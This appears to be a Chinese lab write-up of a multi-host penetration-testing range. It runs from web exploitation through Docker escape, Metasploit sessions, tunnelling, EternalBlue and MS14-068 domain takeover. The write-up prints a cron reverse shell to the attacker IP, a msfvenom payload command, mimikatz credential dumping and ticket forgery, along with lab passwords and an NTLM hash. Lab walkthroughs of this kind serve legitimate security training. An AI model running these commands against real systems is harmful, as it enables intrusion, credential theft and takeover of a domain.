环境搭建

我们这里会拿到三台主机,一台web主机,一台win7主机,一台DC主机

机器密码

WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008 登陆后需修改密码,我这里修改为1qaz@WSX

网络配置

首先我们先将我们的VMnet2网卡网段改成192.168.183.0,如下所示

image-20241124140939050

WEB主机配置

由于处于DMZ区域,所以我们这里给WEB机配置两张网卡,如下所示

image-20241124141326955

891fa3ffd3368ac35ad4fd32e204424d

WIN7主机配置

WIN7主机只需配置一张内网网卡即可

image-20241124141538721

image-20241124142526854

DC主机配置

DC主机也只需配置一张内网网卡即可

image-20241124142448196

所以我们这里可以总结为下表

名称 内网IP 外网IP
攻击机 192.168.20.143
WEB 192.168.183.7 192.168.20.145
WIN7 192.168.183.6
DC 192.168.183.130

开启web服务

我们在web服务器上启动docker服务,执行以下命令

sudo docker start ec 17 09 bb da 3d ab ad

44693b104cc09832c2c625e3d73d1766

有报错可以不用管,是正常的

外网边界探测

我们首先使用fscan扫描一下这台机子开启了哪些服务,如下所示

image-20241124144256010

我们这里只扫出来了一个22端口,但是我们肯定知道其是开放了web端口的,所以我们换一个工具扫描,我们这里先尝试使用massccan进行扫描,同时也使用nmap进行扫描

masscan 192.168.20.145 -p0-65535
nmap -O -sV -p- -A 192.168.20.145

image-20241124145053230

我们可以看到200120022003端口都是web服务端口,我们这里尝试访问这三个端口

image-20241124145311982

image-20241124145321248

image-20241124145330790

这三个网站好像都有洞可以打进去,逆天了,我们这边都演示一下吧

Struts2漏洞getshell

Struts是一个框架漏洞,我们这里利用Struts2漏洞检测工具进行检测,如下所示

image-20241124145922398

我们这里直接可以执行命令,如下所示

image-20241124150204446

然后我们就可以上传我们的msf木马到我们的指定目录,进而可以getshell,这里就不继续演示了

phpmyadmin漏洞

phpmyadmin在我之前的文章中写过如何进行getshell,就是写入一句话木马,然后再反弹shell即可,具体步骤参考

红日靶场-1 | Borgeousのblog

这个漏洞和版本没关系,只要我们能拿到phpmyadmin的管理权我们就可以这样操作,主要是这个网站的phpmyadmin没有密码保护

Tomcat getshell

我们这里使用nuclei扫描一下网站可能存在的漏洞,如下所示,帮我们扫描出来了CVE-2017-12617,我们尝试使用msf进行利用这个CVE

image-20241124153214315

image-20241124153558101

我们设置好rhost和rport后直接run即可,这样我们就获取了shell权,如下所示

image-20241124153912445

由于不是完整的shell,我们执行下面的语句获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

但是我们这里没有任何反应,我们这里先不管他了,只是会比较麻烦,看着不舒服,但不影响,我们接下来进行信息收集

系统信息收集

我们首先在本地开启一个web服务,如下所示

image-20241124155423797

然后我们在靶机上下载我们提前准备好的linpeas.sh,如下所示

image-20241124155703598

我们利用这个自动化脚本帮我们收集该linux系统的基本信息

image-20241124155930479

我们在这里发现我们处于docker容器中,所以我们现在首要目标就是从docker容器中逃逸出来,这个脚本并没有给我们任何逃逸的信息,我们只能尝试自己去发现

docker逃逸

由于我们这里是以特权方式启动的docker,所以我们可以尝试使用特权模式进行docker容器逃逸,使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

我们首先执行fdisk -l产看磁盘挂载信息,如下所示

image-20241124163320950

我们这里可以看到我们靶机的主磁盘为/dev/sda1,我们首先先创建一个文件夹来挂载

mkdir /borgeous
mount /dev/sda1 /borgeous

image-20241124163713385

我们接下来就可以通过对主文件的操作,来进行权限获取,我们现在写一个定时任务,设定每秒都执行即可

echo '* * * * * bash -i >& /dev/tcp/192.168.20.143/9001 0>&1' >> /var/spool/cron/crontabs/root

但是我们发现这个系统没有定时任务,即没安装定时任务,所以我们只能换一种思路,我们把本机的公钥放到对方靶机上,这样就能实现免密登录了,如下所示

我们还是开启web服务,然后靶机从我们的web服务上下载密钥

image-20241124165519919

然后我们将这个密钥放入.ssh文件夹中即可

cp id_rsa.pub /borgeous/home/ubuntu/.ssh/authorized_keys

image-20241124170311758

记得赋予authorized_keys权限,然后我们直接尝试用ssh登录即可,但是我们这里还是失败了,我也不知道为什么失败,这里直接使用密码登录吧,密码是ubuntu,我们直接登录上去即可

image-20241124180532149

sudo提权

我们进去了之后执行sudo -l,出现如下界面

image-20241124181649693

说明当前用户把我们的Ubuntu用户配置成了root权限,所以我们直接执行sudo /bin/bash -p获取root权限即可,如下所示

image-20241124181852616

内网渗透

msf上线

我们这里先用msf生成一个控制文件,如下所示

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.143 LPORT=9999 -f elf > shell.elf

然后我们在我们的攻击机上开启msf控制台,如下所示

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.20.143
set LPORT 9999
exploit

image-20241125113114328

我们开启web服务,让靶机下载我们准备好的恶意elf文件,如下所示

image-20241125113252032

添加可执行权限,执行即可

image-20241125114028236

我们这里成功收到了权限,接下来就是创建代理扫描存活主机

image-20241125114153845

我们这里发现网段为192.168.183.0,我们直接使用ew进行内网穿透

ew内网代理

我们在攻击机上执行以下命令

chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

image-20241125140052130

之后我们通过web服务将ew上传到靶机上去,如下,然后执行以下命令

./ew_for_linux64 -s rssocks -d 192.168.20.143 -e 1234

image-20241125140609290

当我们靶机出现这个界面的时候说明已经成功了,接下来再修改一下proxychain的配置文件即可,我们添加一句

socks5 127.0.0.1 1080

然后我们试着去ping一下内网,如果可以ping通,就说明我们内网代理设置成功

image-20241125142738559

我们这里成功挂上内网代理,接下来进行内网信息收集

内网信息收集

我们首先使用fscan扫一下全网段,如下所示

image-20241125143053477

image-20241125143124979

我们这里帮我们扫出来了三台机子,分别是192.168.183.6192.168.183.7192.168.183.130,其中192.168.183.7是我们的Ubuntu虚拟机,我们可以不用管它,同时fscan帮我们扫出来两台机子都存在MS17-010漏洞,且192.168.183.130为DC域控。这边显示出域名为WIN-ENS2VR5TR3N.demo.com,我们接下来使用两台机子存在的漏洞进行横向移动

横向移动

我们使用msf的模块,先对域控主机的永恒之蓝漏洞进行攻击,如下所示

image-20241125143858831

我们这里使用use 0,然后就是设置监听机和监听端口,这里就不再赘述

image-20241125144350365

但是我们这里失败了,我们先尝试去打一打另外一台主机,用同样的方式进行攻击

image-20241125144759459

也没成功,红温了,换个payload试试,换成正向连接试试

set payload windows/x64/meterpreter/bind_tcp

密码的,一开始就是一直不成功,一直显示连接不上

image-20241125151652898

后来重启了一下靶机,突然就可以了,也是很离谱,我们这里拿到权限后先进行进程迁移,不然马上就会断开

image-20241125151932269

image-20241125152034291

我们试着获取system权限,使用getsystem命令获取system权限

image-20241125152240225

我们这里成功获取了system权限,接下来我们使用hash传递进行攻击DC机器,但是这里还有一个问题,就是会话老是被断开,再重复打的过程中,成功把win7干死机了,我这里始终连不上稳定的shell,后续直接在win7上进行了,我真的吐了,我也不知道为什么

MS14-068提权

由于我们靶机的桌面上已经有mimikatz了,所以我们直接运行即可,如下所示

image-20241125201520609

我们首先先抓取一下本机哈希,如下所示

sekurlsa::logonpasswords

img

USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123

接下来我们利用MS14-068进行提权获得域控

该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限

我们操作步骤如下,我们首先生成高权限票据

MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

img

将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$”,提示“Access is denied”,表示在将票据注入前无法列出域控制器C盘目录的内容。

img

这就告诉我们没有权限,我们要清除我们的已有票据,如下所示

打开mimikatz

输入kerberos::purge

当看到”Ticket(s) purge for current session is OK’时,表示清除成功

img

接着我们将高权限票据注入即可

kerberos::ptc "TGT_douser@DEMO.COM.ccache"

img

注入成功

img

img

我们成功控制到域控文件系统,接下来我们就可以生成后门木马文件并上传到我们的域控C盘,进而拿到我们的DC控制权,本题到此结束

总结

内网东西太多太杂了,而且很容易出现各种问题,msf使用还是不够熟练,还是得多练,还是得加强训练,太菜了呜呜呜,但是还是学到了不少东西的,比如说docker逃逸的几种方式以及利用MS14-068漏洞进行权限横移,还是收获了很多的。